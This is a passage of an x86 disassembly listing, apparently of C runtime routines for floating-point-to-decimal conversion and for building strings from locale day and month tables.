cmp [ebp+var_18], 0
jnz short loc_42DD25
mov eax, [ebp+var_14]
add eax, [ebp+arg_10]
mov [ebp+var_14], eax
loc_42DD25: ; CODE XREF: sub_42D450+8CAj
cmp [ebp+var_C], 0
jnz short loc_42DD34
mov ecx, [ebp+var_14]
sub ecx, [ebp+arg_14]
mov [ebp+var_14], ecx
loc_42DD34: ; CODE XREF: sub_42D450+8D9j
cmp [ebp+var_14], 1450h
jle short loc_42DD46
mov [ebp+var_40], 1
jmp short loc_42DD88
; ---------------------------------------------------------------------------
loc_42DD46: ; CODE XREF: sub_42D450+8EBj
cmp [ebp+var_14], 0FFFFEBB0h
jge short loc_42DD58
mov [ebp+var_78], 1
jmp short loc_42DD88
; ---------------------------------------------------------------------------
loc_42DD58: ; CODE XREF: sub_42D450+8FDj
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_14]
push eax
lea ecx, [ebp+var_60]
push ecx
call sub_4306E0
add esp, 0Ch
mov dx, [ebp+var_60]
mov [ebp+var_48], dx
mov eax, [ebp+var_5E]
mov [ebp+var_8], eax
mov ecx, [ebp+var_5A]
mov [ebp+var_10], ecx
mov dx, [ebp+var_56]
mov word ptr [ebp+var_50], dx
loc_42DD88: ; CODE XREF: sub_42D450+8F4j
; sub_42D450+906j
jmp short loc_42DDA7
; ---------------------------------------------------------------------------
loc_42DD8A: ; CODE XREF: sub_42D450+863j
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
loc_42DDA7: ; CODE XREF: sub_42D450+814j
; sub_42D450+81Ej ...
cmp [ebp+var_54], 0
jnz short loc_42DDD6
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov edx, [ebp+var_50]
and edx, 0FFFFh
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov ecx, [ebp+var_44]
or ecx, 4
mov [ebp+var_44], ecx
jmp short loc_42DE2D
; ---------------------------------------------------------------------------
loc_42DDD6: ; CODE XREF: sub_42D450+95Bj
cmp [ebp+var_40], 0
jz short loc_42DE01
mov word ptr [ebp+var_50], 7FFFh
mov [ebp+var_10], 80000000h
mov [ebp+var_8], 0
mov [ebp+var_48], 0
mov edx, [ebp+var_44]
or edx, 2
mov [ebp+var_44], edx
jmp short loc_42DE2D
; ---------------------------------------------------------------------------
loc_42DE01: ; CODE XREF: sub_42D450+98Aj
cmp [ebp+var_78], 0
jz short loc_42DE2D
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
mov edx, [ebp+var_44]
or edx, 1
mov [ebp+var_44], edx
loc_42DE2D: ; CODE XREF: sub_42D450+984j
; sub_42D450+9AFj ...
mov eax, [ebp+arg_0]
mov cx, [ebp+var_48]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+6], edx
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov ecx, [ebp+var_1C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
mov eax, [ebp+var_44]
mov esp, ebp
pop ebp
retn
sub_42D450 endp
; ---------------------------------------------------------------------------
off_42DE6A dd offset loc_42D52C ; DATA XREF: sub_42D450+D5r
dd offset loc_42D5CA
dd offset loc_42D680
dd offset loc_42D6EB
dd offset loc_42D803
dd offset loc_42D935
dd offset loc_42D9AB
dd offset loc_42DA90
dd offset loc_42DA32
dd offset loc_42DAE3
dd offset loc_42DC53
dd offset loc_42DBEF
off_42DE9A dd offset loc_42D659 ; DATA XREF: sub_42D450+1F0r
dd offset loc_42D647
dd offset loc_42D650
dd offset loc_42D66B
byte_42DEAA db 0 ; DATA XREF: sub_42D450+1EAr
db 3
dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h)
dd 2030303h
db 2
off_42DEE5 dd offset loc_42D7DC ; DATA XREF: sub_42D450+37Cr
dd offset loc_42D7D3
dd offset loc_42D7EE
byte_42DEF1 db 0 ; DATA XREF: sub_42D450+376r
dw 2
dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h
off_42DF2C dd offset loc_42D90E ; DATA XREF: sub_42D450+4AEr
dd offset loc_42D905
dd offset loc_42D920
byte_42DF38 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1)
; DATA XREF: sub_42D450+4A8r
db 0Dh dup(0CCh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push 0
push 0
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
lea eax, [ebp-0Ch]
push eax
call sub_42D450
add esp, 1Ch
mov [ebp-14h], eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_42A300
add esp, 8
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 1
jnz short loc_42DFC8
mov eax, [ebp-14h]
or al, 2
mov [ebp-14h], eax
loc_42DFC8: ; CODE XREF: ___:0042DFBEj
mov eax, [ebp-14h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DFD0 proc near ; CODE XREF: sub_42A580+36p
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_52 = byte ptr -52h
var_51 = byte ptr -51h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
var_4E = byte ptr -4Eh
var_4D = byte ptr -4Dh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 74h
mov word ptr [ebp+var_64], 4D10h
mov word ptr [ebp+var_3C], 4Dh
mov word ptr [ebp+var_60], 9Ah
mov [ebp+var_20], 134312F4h
mov [ebp+var_54], 0CCh
mov [ebp+var_53], 0CCh
mov [ebp+var_52], 0CCh
mov [ebp+var_51], 0CCh
mov [ebp+var_50], 0CCh
mov [ebp+var_4F], 0CCh
mov [ebp+var_4E], 0CCh
mov [ebp+var_4D], 0CCh
mov [ebp+var_4C], 0CCh
mov [ebp+var_4B], 0CCh
mov [ebp+var_4A], 0FBh
mov [ebp+var_49], 3Fh
mov [ebp+var_58], 1
mov ax, [ebp+arg_8]
mov word ptr [ebp+var_70], ax
mov ecx, [ebp+arg_4]
mov [ebp+var_24], ecx
mov edx, [ebp+arg_0]
mov [ebp+var_48], edx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 8000h
mov word ptr [ebp+var_68], ax
mov cx, word ptr [ebp+var_70]
and cx, 7FFFh
mov word ptr [ebp+var_70], cx
mov edx, [ebp+var_68]
and edx, 0FFFFh
test edx, edx
jz short loc_42E06E
mov eax, [ebp+arg_14]
mov byte ptr [eax+2], 2Dh
jmp short loc_42E075
; ---------------------------------------------------------------------------
loc_42E06E: ; CODE XREF: sub_42DFD0+93j
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
loc_42E075: ; CODE XREF: sub_42DFD0+9Cj
mov edx, [ebp+var_70]
and edx, 0FFFFh
test edx, edx
jnz short loc_42E0BC
cmp [ebp+var_24], 0
jnz short loc_42E0BC
cmp [ebp+var_48], 0
jnz short loc_42E0BC
mov eax, [ebp+arg_14]
mov word ptr [eax], 0
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 1
mov eax, [ebp+arg_14]
mov byte ptr [eax+4], 30h
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+5], 0
mov eax, 1
jmp loc_42E4E2
; ---------------------------------------------------------------------------
loc_42E0BC: ; CODE XREF: sub_42DFD0+B0j
; sub_42DFD0+B6j ...
mov edx, [ebp+var_70]
and edx, 0FFFFh
cmp edx, 7FFFh
jnz loc_42E1B6
mov eax, [ebp+arg_14]
mov word ptr [eax], 1
cmp [ebp+var_24], 80000000h
jnz short loc_42E0E8
cmp [ebp+var_48], 0
jz short loc_42E11C
loc_42E0E8: ; CODE XREF: sub_42DFD0+110j
mov ecx, [ebp+var_24]
and ecx, 40000000h
test ecx, ecx
jnz short loc_42E11C
push offset dword_434D40
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_4184C0
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 6
mov [ebp+var_58], 0
jmp loc_42E1B1
; ---------------------------------------------------------------------------
loc_42E11C: ; CODE XREF: sub_42DFD0+116j
; sub_42DFD0+123j
mov ecx, [ebp+var_68]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_42E15C
cmp [ebp+var_24], 0C0000000h
jnz short loc_42E15C
cmp [ebp+var_48], 0
jnz short loc_42E15C
push offset dword_434D38
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_4184C0
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 5
mov [ebp+var_58], 0
jmp short loc_42E1B1
; ---------------------------------------------------------------------------
loc_42E15C: ; CODE XREF: sub_42DFD0+157j
; sub_42DFD0+160j ...
cmp [ebp+var_24], 80000000h
jnz short loc_42E18F
cmp [ebp+var_48], 0
jnz short loc_42E18F
push offset dword_434D30
mov ecx, [ebp+arg_14]
add ecx, 4
push ecx
call sub_4184C0
add esp, 8
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 5
mov [ebp+var_58], 0
jmp short loc_42E1B1
; ---------------------------------------------------------------------------
loc_42E18F: ; CODE XREF: sub_42DFD0+193j
; sub_42DFD0+199j
push offset dword_434D28
mov eax, [ebp+arg_14]
add eax, 4
push eax
call sub_4184C0
add esp, 8
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+3], 6
mov [ebp+var_58], 0
loc_42E1B1: ; CODE XREF: sub_42DFD0+147j
; sub_42DFD0+18Aj ...
jmp loc_42E4DF
; ---------------------------------------------------------------------------
loc_42E1B6: ; CODE XREF: sub_42DFD0+FBj
mov edx, [ebp+var_70]
and edx, 0FFFFh
sar edx, 8
mov word ptr [ebp+var_6C], dx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 0FFh
mov [ebp+var_C], ax
mov ecx, [ebp+var_24]
shr ecx, 18h
mov word ptr [ebp+var_40], cx
mov edx, [ebp+var_64]
and edx, 0FFFFh
mov eax, [ebp+var_70]
and eax, 0FFFFh
imul edx, eax
mov ecx, [ebp+var_3C]
and ecx, 0FFFFh
mov eax, [ebp+var_6C]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
mov ecx, [ebp+var_60]
and ecx, 0FFFFh
mov eax, [ebp+var_40]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
sub edx, [ebp+var_20]
mov [ebp+var_8], edx
mov ecx, [ebp+var_8]
sar ecx, 10h
mov [ebp+var_5C], cx
mov dx, word ptr [ebp+var_70]
mov word ptr [ebp+var_2E], dx
mov eax, [ebp+var_24]
mov [ebp+var_32], eax
mov ecx, [ebp+var_48]
mov [ebp+var_38+2], ecx
mov word ptr [ebp+var_38], 0
push 1
movsx edx, [ebp+var_5C]
neg edx
push edx
lea eax, [ebp+var_38]
push eax
call sub_4306E0
add esp, 0Ch
mov ecx, [ebp+var_2E]
and ecx, 0FFFFh
cmp ecx, 3FFFh
jl short loc_42E28D
mov dx, [ebp+var_5C]
add dx, 1
mov [ebp+var_5C], dx
lea eax, [ebp+var_54]
push eax
lea ecx, [ebp+var_38]
push ecx
call sub_4302A0
add esp, 8
loc_42E28D: ; CODE XREF: sub_42DFD0+29Fj
mov edx, [ebp+arg_14]
mov ax, [ebp+var_5C]
mov [edx], ax
mov ecx, [ebp+arg_10]
and ecx, 1
test ecx, ecx
jz short loc_42E2E1
movsx edx, [ebp+var_5C]
mov eax, [ebp+arg_C]
add eax, edx
mov [ebp+arg_C], eax
cmp [ebp+arg_C], 0
jg short loc_42E2E1
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp loc_42E4E2
; ---------------------------------------------------------------------------
loc_42E2E1: ; CODE XREF: sub_42DFD0+2CFj
; sub_42DFD0+2E1j
cmp [ebp+arg_C], 15h
jle short loc_42E2EE
mov [ebp+arg_C], 15h
loc_42E2EE: ; CODE XREF: sub_42DFD0+315j
mov eax, [ebp+var_2E]
and eax, 0FFFFh
sub eax, 3FFEh
mov [ebp+var_2E+2], eax
mov word ptr [ebp+var_2E], 0
mov [ebp+var_44], 0
jmp short loc_42E316
; ---------------------------------------------------------------------------
loc_42E30D: ; CODE XREF: sub_42DFD0+358j
mov ecx, [ebp+var_44]
add ecx, 1
mov [ebp+var_44], ecx
loc_42E316: ; CODE XREF: sub_42DFD0+33Bj
cmp [ebp+var_44], 8
jge short loc_42E32A
lea edx, [ebp+var_38]
push edx
call sub_42D240
add esp, 4
jmp short loc_42E30D
; ---------------------------------------------------------------------------
loc_42E32A: ; CODE XREF: sub_42DFD0+34Aj
cmp [ebp+var_2E+2], 0
jge short loc_42E35C
mov eax, [ebp+var_2E+2]
neg eax
and eax, 0FFh
mov [ebp+var_74], eax
jmp short loc_42E348
; ---------------------------------------------------------------------------
loc_42E33F: ; CODE XREF: sub_42DFD0+38Aj
mov ecx, [ebp+var_74]
sub ecx, 1
mov [ebp+var_74], ecx
loc_42E348: ; CODE XREF: sub_42DFD0+36Dj
cmp [ebp+var_74], 0
jle short loc_42E35C
lea edx, [ebp+var_38]
push edx
call sub_42D2A0
add esp, 4
jmp short loc_42E33F
; ---------------------------------------------------------------------------
loc_42E35C: ; CODE XREF: sub_42DFD0+35Ej
; sub_42DFD0+37Cj
mov eax, [ebp+arg_14]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_42E379
; ---------------------------------------------------------------------------
loc_42E370: ; CODE XREF: sub_42DFD0+413j
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
loc_42E379: ; CODE XREF: sub_42DFD0+39Ej
cmp [ebp+var_10], 0
jle short loc_42E3E5
mov eax, [ebp+var_38]
mov [ebp+var_1C], eax
mov ecx, [ebp-34h]
mov [ebp+var_18], ecx
mov edx, [ebp+var_32+2]
mov [ebp+var_14], edx
lea eax, [ebp+var_38]
push eax
call sub_42D240
add esp, 4
lea ecx, [ebp+var_38]
push ecx
call sub_42D240
add esp, 4
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_38]
push eax
call sub_42D190
add esp, 8
lea ecx, [ebp+var_38]
push ecx
call sub_42D240
add esp, 4
mov edx, [ebp+var_2E+1]
and edx, 0FFh
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov byte ptr [ebp+var_2E+1], 0
jmp short loc_42E370
; ---------------------------------------------------------------------------
loc_42E3E5: ; CODE XREF: sub_42DFD0+3ADj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov [ebp+var_28], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
movsx eax, [ebp+var_28]
cmp eax, 35h
jl short loc_42E463
jmp short loc_42E413
; ---------------------------------------------------------------------------
loc_42E40A: ; CODE XREF: sub_42DFD0+45Fj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42E413: ; CODE XREF: sub_42DFD0+438j
mov edx, [ebp+arg_14]
add edx, 4
cmp [ebp+var_4], edx
jb short loc_42E431
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_42E431
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
jmp short loc_42E40A
; ---------------------------------------------------------------------------
loc_42E431: ; CODE XREF: sub_42DFD0+44Cj
; sub_42DFD0+457j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_42E455
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov ax, [edx]
add ax, 1
mov ecx, [ebp+arg_14]
mov [ecx], ax
loc_42E455: ; CODE XREF: sub_42DFD0+46Aj
mov edx, [ebp+var_4]
mov al, [edx]
add al, 1
mov ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_42E4BC
; ---------------------------------------------------------------------------
loc_42E463: ; CODE XREF: sub_42DFD0+436j
jmp short loc_42E46E
; ---------------------------------------------------------------------------
loc_42E465: ; CODE XREF: sub_42DFD0+4B4j
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42E46E: ; CODE XREF: sub_42DFD0:loc_42E463j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jb short loc_42E486
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_42E486
jmp short loc_42E465
; ---------------------------------------------------------------------------
loc_42E486: ; CODE XREF: sub_42DFD0+4A7j
; sub_42DFD0+4B2j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_42E4BC
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp short loc_42E4E2
; ---------------------------------------------------------------------------
loc_42E4BC: ; CODE XREF: sub_42DFD0+491j
; sub_42DFD0+4BFj
mov eax, [ebp+arg_14]
add eax, 4
mov ecx, [ebp+var_4]
sub ecx, eax
add ecx, 1
mov edx, [ebp+arg_14]
mov [edx+3], cl
mov eax, [ebp+arg_14]
movsx ecx, byte ptr [eax+3]
mov edx, [ebp+arg_14]
mov byte ptr [edx+ecx+4], 0
loc_42E4DF: ; CODE XREF: sub_42DFD0:loc_42E1B1j
mov eax, [ebp+var_58]
loc_42E4E2: ; CODE XREF: sub_42DFD0+E7j
; sub_42DFD0+30Cj ...
mov esp, ebp
pop ebp
retn
sub_42DFD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, off_444DA8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42E518
; ---------------------------------------------------------------------------
loc_42E50F: ; CODE XREF: ___:0042E54Fj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42E518: ; CODE XREF: ___:0042E50Dj
cmp dword ptr [ebp-10h], 7
jnb short loc_42E551
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_414BE0
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_414BE0
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_42E50F
; ---------------------------------------------------------------------------
loc_42E551: ; CODE XREF: ___:0042E51Cj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_414DB0
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42E609
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_42E585
; ---------------------------------------------------------------------------
loc_42E57C: ; CODE XREF: ___:0042E5F8j
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42E585: ; CODE XREF: ___:0042E57Aj
cmp dword ptr [ebp-10h], 7
jnb short loc_42E5FA
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp-14h]
push edx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+1Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_42E57C
; ---------------------------------------------------------------------------
loc_42E5FA: ; CODE XREF: ___:0042E589j
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_42E609: ; CODE XREF: ___:0042E567j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, off_444DA8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42E648
; ---------------------------------------------------------------------------
loc_42E63F: ; CODE XREF: ___:0042E680j
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42E648: ; CODE XREF: ___:0042E63Dj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42E682
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
call sub_414BE0
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+68h]
push ecx
call sub_414BE0
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_42E63F
; ---------------------------------------------------------------------------
loc_42E682: ; CODE XREF: ___:0042E64Cj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_414DB0
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42E73B
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_42E6B6
; ---------------------------------------------------------------------------
loc_42E6AD: ; CODE XREF: ___:0042E72Aj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42E6B6: ; CODE XREF: ___:0042E6ABj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42E72C
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_42E6AD
; ---------------------------------------------------------------------------
loc_42E72C: ; CODE XREF: ___:0042E6BAj
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_42E73B: ; CODE XREF: ___:0042E698j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, off_444DA8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42E778
; ---------------------------------------------------------------------------
loc_42E76F: ; CODE XREF: ___:0042E7AFj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42E778: ; CODE XREF: ___:0042E76Dj
cmp dword ptr [ebp-10h], 7
jnb short loc_42E7B1
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_414BE0
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_414BE0
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_42E76F
; ---------------------------------------------------------------------------
loc_42E7B1: ; CODE XREF: ___:0042E77Cj
mov dword ptr [ebp-10h], 0
jmp short loc_42E7C3
; ---------------------------------------------------------------------------
loc_42E7BA: ; CODE XREF: ___:0042E7FBj
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_42E7C3: ; CODE XREF: ___:0042E7B8j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42E7FD
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
call sub_414BE0
add esp, 4
mov esi, eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
call sub_414BE0
add esp, 4
add eax, [ebp-8]
lea ecx, [eax+esi+2]
mov [ebp-8], ecx
jmp short loc_42E7BA
; ---------------------------------------------------------------------------
loc_42E7FD: ; CODE XREF: ___:0042E7C7j
mov edx, [ebp-0Ch]
mov eax, [edx+98h]
push eax
call sub_414BE0
add esp, 4
mov esi, eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+9Ch]
push edx
call sub_414BE0
add esp, 4
add eax, [ebp-8]
lea eax, [eax+esi+2]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A0h]
push edx
call sub_414BE0
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A4h]
push ecx
call sub_414BE0
add esp, 4
mov edx, [ebp-8]
lea eax, [edx+eax+1]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A8h]
push edx
call sub_414BE0
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-8]
add eax, 0ACh
push eax
call sub_414DB0
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42EAB6
mov ecx, [ebp-4]
mov [ebp-18h], ecx
mov edx, [ebp-4]
add edx, 0ACh
mov [ebp-14h], edx
push 0ACh
mov eax, off_444DA8
push eax
mov ecx, [ebp-4]
push ecx
call sub_4187B0
add esp, 0Ch
mov dword ptr [ebp-10h], 0
jmp short loc_42E8DA
; ---------------------------------------------------------------------------
loc_42E8D1: ; CODE XREF: ___:0042E94Cj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42E8DA: ; CODE XREF: ___:0042E8CFj
cmp dword ptr [ebp-10h], 7
jnb short loc_42E94E
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp-14h]
push eax
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4+1Ch], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4+1Ch]
push edx
mov eax, [ebp-14h]
push eax
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
jmp short loc_42E8D1
; ---------------------------------------------------------------------------
loc_42E94E: ; CODE XREF: ___:0042E8DEj
mov dword ptr [ebp-10h], 0
jmp short loc_42E960
; ---------------------------------------------------------------------------
loc_42E957: ; CODE XREF: ___:0042E9D4j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
